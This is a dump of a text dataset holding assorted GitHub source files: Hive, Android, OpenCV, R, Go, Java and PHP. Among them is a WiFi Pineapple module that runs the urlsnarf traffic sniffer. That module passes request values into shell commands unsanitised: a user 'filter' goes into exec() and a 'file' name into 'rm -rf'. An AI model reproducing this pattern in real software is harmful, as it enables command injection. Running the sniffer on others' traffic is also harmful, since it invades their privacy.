text
stringlengths 2
99.9k
| meta
dict |
---|---|
set hive.test.mode=true;
set hive.test.mode.prefix=;
create table exim_department ( dep_id int comment "department id")
stored as textfile
tblproperties("creator"="krishna");
load data local inpath "../../data/files/test.dat" into table exim_department;
dfs ${system:test.dfs.mkdir} target/tmp/ql/test/data/exports/exim_department/temp;
dfs -rmr target/tmp/ql/test/data/exports/exim_department;
export table exim_department to 'ql/test/data/exports/exim_department';
drop table exim_department;
create database importer;
use importer;
create table exim_department ( dep_id bigint comment "department id")
stored as textfile
tblproperties("creator"="krishna");
import from 'ql/test/data/exports/exim_department';
drop table exim_department;
dfs -rmr target/tmp/ql/test/data/exports/exim_department;
drop database importer;
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<!--
~ Copyright (C) 2019 xuexiangjys([email protected])
~
~ Licensed under the Apache License, Version 2.0 (the "License");
~ you may not use this file except in compliance with the License.
~ You may obtain a copy of the License at
~
~ http://www.apache.org/licenses/LICENSE-2.0
~
~ Unless required by applicable law or agreed to in writing, software
~ distributed under the License is distributed on an "AS IS" BASIS,
~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
~ See the License for the specific language governing permissions and
~ limitations under the License.
-->
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="56dp"
android:paddingStart="24dp"
android:paddingEnd="24dp"
android:gravity="center_vertical"
android:orientation="horizontal">
<androidx.appcompat.widget.AppCompatImageView
android:id="@+id/icon"
android:layout_width="24dp"
android:layout_height="24dp" />
<Space
android:layout_width="12dp"
android:layout_height="wrap_content" />
<TextView
android:id="@+id/title"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginStart="16dp"
android:layout_marginEnd="16dp"
android:textColor="?android:textColorPrimary" />
</LinearLayout> | {
"pile_set_name": "Github"
} |
/*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2000-2008, Intel Corporation, all rights reserved.
// Copyright (C) 2009, Willow Garage Inc., all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#ifndef OPENCV_STITCHING_AUTOCALIB_HPP
#define OPENCV_STITCHING_AUTOCALIB_HPP
#include "opencv2/core.hpp"
#include "matchers.hpp"
namespace cv {
namespace detail {
//! @addtogroup stitching_autocalib
//! @{
/** @brief Tries to estimate focal lengths from the given homography under the assumption that the camera
undergoes rotations around its centre only.
@param H Homography.
@param f0 Estimated focal length along X axis.
@param f1 Estimated focal length along Y axis.
@param f0_ok True, if f0 was estimated successfully, false otherwise.
@param f1_ok True, if f1 was estimated successfully, false otherwise.
See "Construction of Panoramic Image Mosaics with Global and Local Alignment"
by Heung-Yeung Shum and Richard Szeliski.
*/
void CV_EXPORTS focalsFromHomography(const Mat &H, double &f0, double &f1, bool &f0_ok, bool &f1_ok);
/** @brief Estimates focal lengths for each given camera.
@param features Features of images.
@param pairwise_matches Matches between all image pairs.
@param focals Estimated focal lengths for each camera.
*/
void CV_EXPORTS estimateFocal(const std::vector<ImageFeatures> &features,
const std::vector<MatchesInfo> &pairwise_matches,
std::vector<double> &focals);
bool CV_EXPORTS calibrateRotatingCamera(const std::vector<Mat> &Hs, Mat &K);
//! @} stitching_autocalib
} // namespace detail
} // namespace cv
#endif // OPENCV_STITCHING_AUTOCALIB_HPP
| {
"pile_set_name": "Github"
} |
<?php namespace pineapple;
class urlsnarf extends Module
{
public function route()
{
switch ($this->request->action) {
case 'refreshInfo':
$this->refreshInfo();
break;
case 'refreshOutput':
$this->refreshOutput();
break;
case 'refreshStatus':
$this->refreshStatus();
break;
case 'toggleurlsnarf':
$this->toggleurlsnarf();
break;
case 'handleDependencies':
$this->handleDependencies();
break;
case 'handleDependenciesStatus':
$this->handleDependenciesStatus();
break;
case 'refreshHistory':
$this->refreshHistory();
break;
case 'viewHistory':
$this->viewHistory();
break;
case 'deleteHistory':
$this->deleteHistory();
break;
case 'downloadHistory':
$this->downloadHistory();
break;
case 'toggleurlsnarfOnBoot':
$this->toggleurlsnarfOnBoot();
break;
case 'getInterfaces':
$this->getInterfaces();
break;
case 'saveAutostartSettings':
$this->saveAutostartSettings();
break;
}
}
protected function checkDep($dependencyName)
{
return ($this->checkDependency($dependencyName) && ($this->uciGet("urlsnarf.module.installed")));
}
protected function getDevice()
{
return trim(exec("cat /proc/cpuinfo | grep machine | awk -F: '{print $2}'"));
}
protected function refreshInfo()
{
$moduleInfo = @json_decode(file_get_contents("/pineapple/modules/urlsnarf/module.info"));
$this->response = array('title' => $moduleInfo->title, 'version' => $moduleInfo->version);
}
private function handleDependencies()
{
if (!$this->checkDep("urlsnarf")) {
$this->execBackground("/pineapple/modules/urlsnarf/scripts/dependencies.sh install ".$this->request->destination);
$this->response = array('success' => true);
} else {
$this->execBackground("/pineapple/modules/urlsnarf/scripts/dependencies.sh remove");
$this->response = array('success' => true);
}
}
private function handleDependenciesStatus()
{
if (!file_exists('/tmp/urlsnarf.progress')) {
$this->response = array('success' => true);
} else {
$this->response = array('success' => false);
}
}
private function toggleurlsnarfOnBoot()
{
if (exec("cat /etc/rc.local | grep urlsnarf/scripts/autostart_urlsnarf.sh") == "") {
exec("sed -i '/exit 0/d' /etc/rc.local");
exec("echo /pineapple/modules/urlsnarf/scripts/autostart_urlsnarf.sh >> /etc/rc.local");
exec("echo exit 0 >> /etc/rc.local");
} else {
exec("sed -i '/urlsnarf\/scripts\/autostart_urlsnarf.sh/d' /etc/rc.local");
}
}
private function toggleurlsnarf()
{
if (!$this->checkRunning("urlsnarf")) {
$this->uciSet("urlsnarf.run.interface", $this->request->interface);
$this->execBackground("/pineapple/modules/urlsnarf/scripts/urlsnarf.sh start");
} else {
$this->uciSet("urlsnarf.run.interface", '');
$this->execBackground("/pineapple/modules/urlsnarf/scripts/urlsnarf.sh stop");
}
}
private function getInterfaces()
{
exec("cat /proc/net/dev | tail -n +3 | cut -f1 -d: | sed 's/ //g'", $interfaceArray);
$this->response = array("interfaces" => $interfaceArray, "selected" => $this->uciGet("urlsnarf.run.interface"));
}
private function refreshStatus()
{
if (!file_exists('/tmp/urlsnarf.progress')) {
if (!$this->checkDep("urlsnarf")) {
$installed = false;
$install = "Not installed";
$installLabel = "danger";
$processing = false;
$status = "Start";
$statusLabel = "success";
$bootLabelON = "default";
$bootLabelOFF = "danger";
} else {
$installed = true;
$install = "Installed";
$installLabel = "success";
$processing = false;
if ($this->checkRunning("urlsnarf")) {
$status = "Stop";
$statusLabel = "danger";
} else {
$status = "Start";
$statusLabel = "success";
}
if (exec("cat /etc/rc.local | grep urlsnarf/scripts/autostart_urlsnarf.sh") == "") {
$bootLabelON = "default";
$bootLabelOFF = "danger";
} else {
$bootLabelON = "success";
$bootLabelOFF = "default";
}
}
} else {
$installed = false;
$install = "Installing...";
$installLabel = "warning";
$processing = true;
$status = "Not running";
$statusLabel = "danger";
$bootLabelON = "default";
$bootLabelOFF = "danger";
}
$device = $this->getDevice();
$sdAvailable = $this->isSDAvailable();
$this->response = array("device" => $device, "sdAvailable" => $sdAvailable, "status" => $status, "statusLabel" => $statusLabel, "installed" => $installed, "install" => $install, "installLabel" => $installLabel, "bootLabelON" => $bootLabelON, "bootLabelOFF" => $bootLabelOFF, "processing" => $processing);
}
private function refreshOutput()
{
if ($this->checkDep("urlsnarf")) {
if ($this->checkRunning("urlsnarf")) {
$path = "/pineapple/modules/urlsnarf/log";
$latest_ctime = 0;
$latest_filename = '';
$d = dir($path);
while (false !== ($entry = $d->read())) {
$filepath = "{$path}/{$entry}";
if (is_file($filepath) && filectime($filepath) > $latest_ctime) {
$latest_ctime = filectime($filepath);
$latest_filename = $entry;
}
}
if ($latest_filename != "") {
$log_date = gmdate("F d Y H:i:s", filemtime("/pineapple/modules/urlsnarf/log/".$latest_filename));
if ($this->request->filter != "") {
$filter = $this->request->filter;
$cmd = "cat /pineapple/modules/urlsnarf/log/".$latest_filename." | ".$filter;
} else {
$cmd = "cat /pineapple/modules/urlsnarf/log/".$latest_filename;
}
exec($cmd, $output);
if (!empty($output)) {
$this->response = implode("\n", array_reverse($output));
} else {
$this->response = "Empty log...";
}
}
} else {
$this->response = "urlsnarf is not running...";
}
} else {
$this->response = "urlsnarf is not installed...";
}
}
private function refreshHistory()
{
$this->streamFunction = function () {
$log_list = array_reverse(glob("/pineapple/modules/urlsnarf/log/*"));
echo '[';
for ($i=0;$i<count($log_list);$i++) {
$info = explode("_", basename($log_list[$i]));
$entryDate = gmdate('Y-m-d H-i-s', $info[1]);
$entryName = basename($log_list[$i]);
echo json_encode(array($entryDate, $entryName));
if ($i!=count($log_list)-1) {
echo ',';
}
}
echo ']';
};
}
private function viewHistory()
{
$log_date = gmdate("F d Y H:i:s", filemtime("/pineapple/modules/urlsnarf/log/".$this->request->file));
exec("cat /pineapple/modules/urlsnarf/log/".$this->request->file, $output);
if (!empty($output)) {
$this->response = array("output" => implode("\n", $output), "date" => $log_date);
} else {
$this->response = array("output" => "Empty log...", "date" => $log_date);
}
}
private function deleteHistory()
{
exec("rm -rf /pineapple/modules/urlsnarf/log/".$this->request->file);
}
private function downloadHistory()
{
$this->response = array("download" => $this->downloadFile("/pineapple/modules/urlsnarf/log/".$this->request->file));
}
private function saveAutostartSettings()
{
$settings = $this->request->settings;
$this->uciSet("urlsnarf.autostart.interface", $settings->interface);
}
}
| {
"pile_set_name": "Github"
} |
sha256:5a1a7b81b3a6212bea7485e5d0c4f0c97eb240191e84151d0a6c2b17ad20aea5
| {
"pile_set_name": "Github"
} |
project(to_tuple_generator)
add_executable(to_tuple_generator to_tuple_generator.cc) | {
"pile_set_name": "Github"
} |
/*
* JBoss by Red Hat
* Copyright 2006-2009, Red Hat Middleware, LLC, and individual contributors as indicated
* by the @authors tag. See the copyright.txt in the distribution for a
* full listing of individual contributors.
*
* This is free software; you can redistribute it and/or modify it
* under the terms of the GNU Lesser General Public License as
* published by the Free Software Foundation; either version 2.1 of
* the License, or (at your option) any later version.
*
* This software is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this software; if not, write to the Free
* Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
* 02110-1301 USA, or see the FSF site: http://www.fsf.org.
*/
package org.jboss.ide.eclipse.freemarker.editor;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import org.eclipse.jface.preference.PreferenceConverter;
import org.eclipse.swt.graphics.Color;
import org.eclipse.swt.graphics.RGB;
import org.eclipse.swt.widgets.Display;
import org.jboss.ide.eclipse.freemarker.Plugin;
/**
* @author <a href="mailto:[email protected]">Joe Hudson</a>
*/
public class ColorManager {
protected Map fColorTable = new HashMap(10);
public void dispose() {
Iterator e = fColorTable.values().iterator();
while (e.hasNext())
((Color) e.next()).dispose();
}
public Color getColor (String colorName) {
RGB rgb = PreferenceConverter.getColor(
Plugin.getDefault().getPreferenceStore(),
colorName);
return getColor(rgb);
}
public Color getColor(RGB rgb) {
if(rgb==null) rgb = new RGB(0,0,0);
Color color = (Color) fColorTable.get(rgb);
if (color == null) {
color = new Color(Display.getCurrent(), rgb);
fColorTable.put(rgb, color);
}
return color;
}
} | {
"pile_set_name": "Github"
} |
% Generated by roxygen2: do not edit by hand
% Please edit documentation in R/to_dummy.R
\name{to_dummy}
\alias{to_dummy}
\title{Split (categorical) vectors into dummy variables}
\usage{
to_dummy(x, ..., var.name = "name", suffix = c("numeric", "label"))
}
\arguments{
\item{x}{A vector or data frame.}
\item{...}{Optional, unquoted names of variables that should be selected for
further processing. Required, if \code{x} is a data frame (and no
vector) and only selected variables from \code{x} should be processed.
You may also use functions like \code{:} or tidyselect's
select-helpers.
See 'Examples' or \href{../doc/design_philosophy.html}{package-vignette}.}
\item{var.name}{Indicates how the new dummy variables are named. Use
\code{"name"} to use the variable name or any other string that will
be used as is. Only applies, if \code{x} is a vector. See 'Examples'.}
\item{suffix}{Indicates which suffix will be added to each dummy variable.
Use \code{"numeric"} to number dummy variables, e.g. \emph{x_1},
\emph{x_2}, \emph{x_3} etc. Use \code{"label"} to add value label,
e.g. \emph{x_low}, \emph{x_mid}, \emph{x_high}. May be abbreviated.}
}
\value{
A data frame with dummy variables for each category of \code{x}.
The dummy coded variables are of type \code{\link{atomic}}.
}
\description{
This function splits categorical or numeric vectors with
more than two categories into 0/1-coded dummy variables.
}
\note{
\code{NA} values will be copied from \code{x}, so each dummy variable
has the same amount of \code{NA}'s at the same position as \code{x}.
}
\examples{
data(efc)
head(to_dummy(efc$e42dep))
# add value label as suffix to new variable name
head(to_dummy(efc$e42dep, suffix = "label"))
# use "dummy" as new variable name
head(to_dummy(efc$e42dep, var.name = "dummy"))
# create multiple dummies, append to data frame
to_dummy(efc, c172code, e42dep)
# pipe-workflow
library(dplyr)
efc \%>\%
select(e42dep, e16sex, c172code) \%>\%
to_dummy()
}
| {
"pile_set_name": "Github"
} |
<?php
//application details
$apps[$x]['name'] = "Install";
$apps[$x]['uuid'] = "75507e6e-891e-11e5-af63-feff819cdc9f";
$apps[$x]['category'] = "Core";
$apps[$x]['subcategory'] = "";
$apps[$x]['version'] = "1.0";
$apps[$x]['url'] = "http://www.fusionpbx.com";
$apps[$x]['description']['en-us'] = "Install the fusionPBX system or add new switches";
$apps[$x]['description']['en-gb'] = "Install the fusionPBX system or add new switches";
$apps[$x]['description']['ar-eg'] = "";
$apps[$x]['description']['de-at'] = "Installiere das FusionPBX System oder füge neue Switches hinzu.";
$apps[$x]['description']['de-ch'] = "";
$apps[$x]['description']['de-de'] = "Installiere das FusionPBX System oder füge neue Switches hinzu.";
$apps[$x]['description']['es-cl'] = "";
$apps[$x]['description']['es-mx'] = "";
$apps[$x]['description']['fr-ca'] = "";
$apps[$x]['description']['fr-fr'] = "";
$apps[$x]['description']['he-il'] = "";
$apps[$x]['description']['it-it'] = "";
$apps[$x]['description']['nl-nl'] = "";
$apps[$x]['description']['pl-pl'] = "";
$apps[$x]['description']['pt-br'] = "";
$apps[$x]['description']['pt-pt'] = "";
$apps[$x]['description']['ro-ro'] = "";
$apps[$x]['description']['ru-ru'] = "Установка системы fuisionPBX или добавление новых коммутаторов";
$apps[$x]['description']['sv-se'] = "";
$apps[$x]['description']['uk-ua'] = "";
//permission details
//$y=0;
//$apps[$x]['permissions'][$y]['name'] = "install";
//$apps[$x]['permissions'][$y]['menu']['uuid'] = "75507e6e-891e-11e5-af63-feff819cdc9f";
//$apps[$x]['permissions'][$y]['groups'][] = "superadmin";
//$y++;
?> | {
"pile_set_name": "Github"
} |
// Protocol Buffers for Go with Gadgets
//
// Copyright (c) 2016, The GoGo Authors. All rights reserved.
// http://github.com/gogo/protobuf
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
// +build appengine js
package proto
import (
"reflect"
)
func structPointer_FieldPointer(p structPointer, f field) structPointer {
panic("not implemented")
}
func appendStructPointer(base structPointer, f field, typ reflect.Type) structPointer {
panic("not implemented")
}
func structPointer_InterfaceAt(p structPointer, f field, t reflect.Type) interface{} {
panic("not implemented")
}
func structPointer_InterfaceRef(p structPointer, f field, t reflect.Type) interface{} {
panic("not implemented")
}
func structPointer_GetRefStructPointer(p structPointer, f field) structPointer {
panic("not implemented")
}
func structPointer_Add(p structPointer, size field) structPointer {
panic("not implemented")
}
func structPointer_Len(p structPointer, f field) int {
panic("not implemented")
}
func structPointer_GetSliceHeader(p structPointer, f field) *reflect.SliceHeader {
panic("not implemented")
}
func structPointer_Copy(oldptr structPointer, newptr structPointer, size int) {
panic("not implemented")
}
func structPointer_StructRefSlice(p structPointer, f field, size uintptr) *structRefSlice {
panic("not implemented")
}
type structRefSlice struct{}
func (v *structRefSlice) Len() int {
panic("not implemented")
}
func (v *structRefSlice) Index(i int) structPointer {
panic("not implemented")
}
| {
"pile_set_name": "Github"
} |
package org.holoeverywhere.drawable;
import android.content.res.Resources;
import android.content.res.TypedArray;
import android.graphics.Canvas;
import android.graphics.ColorFilter;
import android.graphics.PixelFormat;
import android.graphics.Rect;
import android.graphics.drawable.Drawable;
import android.os.Build.VERSION;
import android.os.Build.VERSION_CODES;
import android.util.AttributeSet;
import android.view.View;
import org.holoeverywhere.R;
import org.xmlpull.v1.XmlPullParser;
import org.xmlpull.v1.XmlPullParserException;
import java.io.IOException;
public class LayerDrawable extends Drawable implements Drawable.Callback {
static class ChildDrawable {
public Drawable mDrawable;
public int mId;
public int mInsetL, mInsetT, mInsetR, mInsetB;
}
static class LayerState extends ConstantState {
private boolean mCanConstantState;
int mChangingConfigurations;
private boolean mCheckedConstantState;
ChildDrawable[] mChildren;
int mChildrenChangingConfigurations;
private boolean mHaveOpacity = false;
private boolean mHaveStateful = false;
int mNum;
private int mOpacity;
private boolean mStateful;
LayerState(LayerState orig, LayerDrawable owner, Resources res) {
if (orig != null) {
final ChildDrawable[] origChildDrawable = orig.mChildren;
final int N = orig.mNum;
mNum = N;
mChildren = new ChildDrawable[N];
mChangingConfigurations = orig.mChangingConfigurations;
mChildrenChangingConfigurations = orig.mChildrenChangingConfigurations;
for (int i = 0; i < N; i++) {
final ChildDrawable r = mChildren[i] = new ChildDrawable();
final ChildDrawable or = origChildDrawable[i];
if (res != null) {
r.mDrawable = or.mDrawable.getConstantState().newDrawable(res);
} else {
r.mDrawable = or.mDrawable.getConstantState().newDrawable();
}
r.mDrawable.setCallback(owner);
r.mInsetL = or.mInsetL;
r.mInsetT = or.mInsetT;
r.mInsetR = or.mInsetR;
r.mInsetB = or.mInsetB;
r.mId = or.mId;
}
mHaveOpacity = orig.mHaveOpacity;
mOpacity = orig.mOpacity;
mHaveStateful = orig.mHaveStateful;
mStateful = orig.mStateful;
mCheckedConstantState = mCanConstantState = true;
} else {
mNum = 0;
mChildren = null;
}
}
public boolean canConstantState() {
if (!mCheckedConstantState && mChildren != null) {
mCanConstantState = true;
final int N = mNum;
for (int i = 0; i < N; i++) {
if (mChildren[i].mDrawable.getConstantState() == null) {
mCanConstantState = false;
break;
}
}
mCheckedConstantState = true;
}
return mCanConstantState;
}
@Override
public int getChangingConfigurations() {
return mChangingConfigurations;
}
public final int getOpacity() {
if (mHaveOpacity) {
return mOpacity;
}
final int N = mNum;
int op = N > 0 ? mChildren[0].mDrawable.getOpacity() : PixelFormat.TRANSPARENT;
for (int i = 1; i < N; i++) {
op = Drawable.resolveOpacity(op, mChildren[i].mDrawable.getOpacity());
}
mOpacity = op;
mHaveOpacity = true;
return op;
}
public final boolean isStateful() {
if (mHaveStateful) {
return mStateful;
}
boolean stateful = false;
final int N = mNum;
for (int i = 0; i < N; i++) {
if (mChildren[i].mDrawable.isStateful()) {
stateful = true;
break;
}
}
mStateful = stateful;
mHaveStateful = true;
return stateful;
}
@Override
public Drawable newDrawable() {
return new LayerDrawable(this, null);
}
@Override
public Drawable newDrawable(Resources res) {
return new LayerDrawable(this, res);
}
}
LayerState mLayerState;
private boolean mMutated;
private int mOpacityOverride = PixelFormat.UNKNOWN;
private int[] mPaddingB;
private int[] mPaddingL;
private int[] mPaddingR;
private int[] mPaddingT;
private final Rect mTmpRect = new Rect();
LayerDrawable() {
this((LayerState) null, null);
}
public LayerDrawable(Drawable[] layers) {
this(layers, null);
}
LayerDrawable(Drawable[] layers, LayerState state) {
this(state, null);
int length = layers.length;
ChildDrawable[] r = new ChildDrawable[length];
for (int i = 0; i < length; i++) {
r[i] = new ChildDrawable();
r[i].mDrawable = layers[i];
layers[i].setCallback(this);
mLayerState.mChildrenChangingConfigurations |= layers[i].getChangingConfigurations();
}
mLayerState.mNum = length;
mLayerState.mChildren = r;
ensurePadding();
}
LayerDrawable(LayerState state, Resources res) {
LayerState as = createConstantState(state, res);
mLayerState = as;
if (as.mNum > 0) {
ensurePadding();
}
}
private void addLayer(Drawable layer, int id, int left, int top, int right, int bottom) {
final LayerState st = mLayerState;
int N = st.mChildren != null ? st.mChildren.length : 0;
int i = st.mNum;
if (i >= N) {
ChildDrawable[] nu = new ChildDrawable[N + 10];
if (i > 0) {
System.arraycopy(st.mChildren, 0, nu, 0, i);
}
st.mChildren = nu;
}
mLayerState.mChildrenChangingConfigurations |= layer.getChangingConfigurations();
ChildDrawable childDrawable = new ChildDrawable();
st.mChildren[i] = childDrawable;
childDrawable.mId = id;
childDrawable.mDrawable = layer;
childDrawable.mInsetL = left;
childDrawable.mInsetT = top;
childDrawable.mInsetR = right;
childDrawable.mInsetB = bottom;
st.mNum++;
layer.setCallback(this);
}
LayerState createConstantState(LayerState state, Resources res) {
return new LayerState(state, this, res);
}
@Override
public void draw(Canvas canvas) {
final ChildDrawable[] array = mLayerState.mChildren;
final int N = mLayerState.mNum;
for (int i = 0; i < N; i++) {
array[i].mDrawable.draw(canvas);
}
}
private void ensurePadding() {
final int N = mLayerState.mNum;
if (mPaddingL != null && mPaddingL.length >= N) {
return;
}
mPaddingL = new int[N];
mPaddingT = new int[N];
mPaddingR = new int[N];
mPaddingB = new int[N];
}
public Drawable findDrawableByLayerId(int id) {
final ChildDrawable[] layers = mLayerState.mChildren;
for (int i = mLayerState.mNum - 1; i >= 0; i--) {
if (layers[i].mId == id) {
return layers[i].mDrawable;
}
}
return null;
}
@Override
public Callback getCallback() {
if (VERSION.SDK_INT >= VERSION_CODES.HONEYCOMB) {
return super.getCallback();
} else {
return null;
}
}
@Override
public int getChangingConfigurations() {
return super.getChangingConfigurations()
| mLayerState.mChangingConfigurations
| mLayerState.mChildrenChangingConfigurations;
}
@Override
public ConstantState getConstantState() {
if (mLayerState.canConstantState()) {
mLayerState.mChangingConfigurations = getChangingConfigurations();
return mLayerState;
}
return null;
}
public Drawable getDrawable(int index) {
return mLayerState.mChildren[index].mDrawable;
}
public int getId(int index) {
return mLayerState.mChildren[index].mId;
}
@Override
public int getIntrinsicHeight() {
int height = -1;
final ChildDrawable[] array = mLayerState.mChildren;
final int N = mLayerState.mNum;
int padT = 0, padB = 0;
for (int i = 0; i < N; i++) {
final ChildDrawable r = array[i];
int h = r.mDrawable.getIntrinsicHeight() + r.mInsetT + r.mInsetB + +padT + padB;
if (h > height) {
height = h;
}
padT += mPaddingT[i];
padB += mPaddingB[i];
}
return height;
}
@Override
public int getIntrinsicWidth() {
int width = -1;
final ChildDrawable[] array = mLayerState.mChildren;
final int N = mLayerState.mNum;
int padL = 0, padR = 0;
for (int i = 0; i < N; i++) {
final ChildDrawable r = array[i];
int w = r.mDrawable.getIntrinsicWidth()
+ r.mInsetL + r.mInsetR + padL + padR;
if (w > width) {
width = w;
}
padL += mPaddingL[i];
padR += mPaddingR[i];
}
return width;
}
public int getNumberOfLayers() {
return mLayerState.mNum;
}
@Override
public int getOpacity() {
if (mOpacityOverride != PixelFormat.UNKNOWN) {
return mOpacityOverride;
}
return mLayerState.getOpacity();
}
@Override
public boolean getPadding(Rect padding) {
padding.left = 0;
padding.top = 0;
padding.right = 0;
padding.bottom = 0;
final ChildDrawable[] array = mLayerState.mChildren;
final int N = mLayerState.mNum;
for (int i = 0; i < N; i++) {
reapplyPadding(i, array[i]);
padding.left += mPaddingL[i];
padding.top += mPaddingT[i];
padding.right += mPaddingR[i];
padding.bottom += mPaddingB[i];
}
return true;
}
@Override
public void inflate(Resources r, XmlPullParser parser, AttributeSet attrs)
throws XmlPullParserException, IOException {
super.inflate(r, parser, attrs);
int type;
TypedArray a = r.obtainAttributes(attrs, R.styleable.LayerDrawable);
mOpacityOverride = a.getInt(R.styleable.LayerDrawable_android_opacity,
PixelFormat.UNKNOWN);
a.recycle();
final int innerDepth = parser.getDepth() + 1;
int depth;
while ((type = parser.next()) != XmlPullParser.END_DOCUMENT
&& ((depth = parser.getDepth()) >= innerDepth || type != XmlPullParser.END_TAG)) {
if (type != XmlPullParser.START_TAG) {
continue;
}
if (depth > innerDepth || !parser.getName().equals("item")) {
continue;
}
a = r.obtainAttributes(attrs, R.styleable.LayerDrawableItem);
int left = a.getDimensionPixelOffset(R.styleable.LayerDrawableItem_android_left, 0);
int top = a.getDimensionPixelOffset(R.styleable.LayerDrawableItem_android_top, 0);
int right = a.getDimensionPixelOffset(R.styleable.LayerDrawableItem_android_right, 0);
int bottom = a.getDimensionPixelOffset(R.styleable.LayerDrawableItem_android_bottom, 0);
int drawableRes = a.getResourceId(R.styleable.LayerDrawableItem_android_drawable, 0);
int id = a.getResourceId(R.styleable.LayerDrawableItem_android_id, View.NO_ID);
a.recycle();
Drawable dr;
if (drawableRes != 0) {
dr = DrawableCompat.getDrawable(r, drawableRes);
} else {
while ((type = parser.next()) == XmlPullParser.TEXT) {
}
if (type != XmlPullParser.START_TAG) {
throw new XmlPullParserException(parser.getPositionDescription()
+ ": <item> tag requires a 'drawable' attribute or "
+ "child tag defining a drawable");
}
dr = DrawableCompat.createFromXmlInner(r, parser, attrs);
}
addLayer(dr, id, left, top, right, bottom);
}
ensurePadding();
onStateChange(getState());
}
@Override
public void invalidateDrawable(Drawable who) {
final Callback callback = getCallback();
if (callback != null) {
callback.invalidateDrawable(this);
}
}
@Override
public boolean isStateful() {
return mLayerState.isStateful();
}
@Override
public Drawable mutate() {
if (!mMutated && super.mutate() == this) {
if (!mLayerState.canConstantState()) {
throw new IllegalStateException("One or more children of this LayerDrawable does " +
"not have constant state; this drawable cannot be mutated.");
}
mLayerState = new LayerState(mLayerState, this, null);
final ChildDrawable[] array = mLayerState.mChildren;
final int N = mLayerState.mNum;
for (int i = 0; i < N; i++) {
array[i].mDrawable.mutate();
}
mMutated = true;
}
return this;
}
@Override
protected void onBoundsChange(Rect bounds) {
final ChildDrawable[] array = mLayerState.mChildren;
final int N = mLayerState.mNum;
int padL = 0, padT = 0, padR = 0, padB = 0;
for (int i = 0; i < N; i++) {
final ChildDrawable r = array[i];
r.mDrawable.setBounds(bounds.left + r.mInsetL + padL,
bounds.top + r.mInsetT + padT,
bounds.right - r.mInsetR - padR,
bounds.bottom - r.mInsetB - padB);
padL += mPaddingL[i];
padR += mPaddingR[i];
padT += mPaddingT[i];
padB += mPaddingB[i];
}
}
@Override
protected boolean onLevelChange(int level) {
final ChildDrawable[] array = mLayerState.mChildren;
final int N = mLayerState.mNum;
boolean paddingChanged = false;
boolean changed = false;
for (int i = 0; i < N; i++) {
final ChildDrawable r = array[i];
if (r.mDrawable.setLevel(level)) {
changed = true;
}
if (reapplyPadding(i, r)) {
paddingChanged = true;
}
}
if (paddingChanged) {
onBoundsChange(getBounds());
}
return changed;
}
@Override
protected boolean onStateChange(int[] state) {
final ChildDrawable[] array = mLayerState.mChildren;
final int N = mLayerState.mNum;
boolean paddingChanged = false;
boolean changed = false;
for (int i = 0; i < N; i++) {
final ChildDrawable r = array[i];
if (r.mDrawable.setState(state)) {
changed = true;
}
if (reapplyPadding(i, r)) {
paddingChanged = true;
}
}
if (paddingChanged) {
onBoundsChange(getBounds());
}
if (changed) {
invalidateSelf();
}
return changed;
}
private boolean reapplyPadding(int i, ChildDrawable r) {
final Rect rect = mTmpRect;
r.mDrawable.getPadding(rect);
if (rect.left != mPaddingL[i] || rect.top != mPaddingT[i] ||
rect.right != mPaddingR[i] || rect.bottom != mPaddingB[i]) {
mPaddingL[i] = rect.left;
mPaddingT[i] = rect.top;
mPaddingR[i] = rect.right;
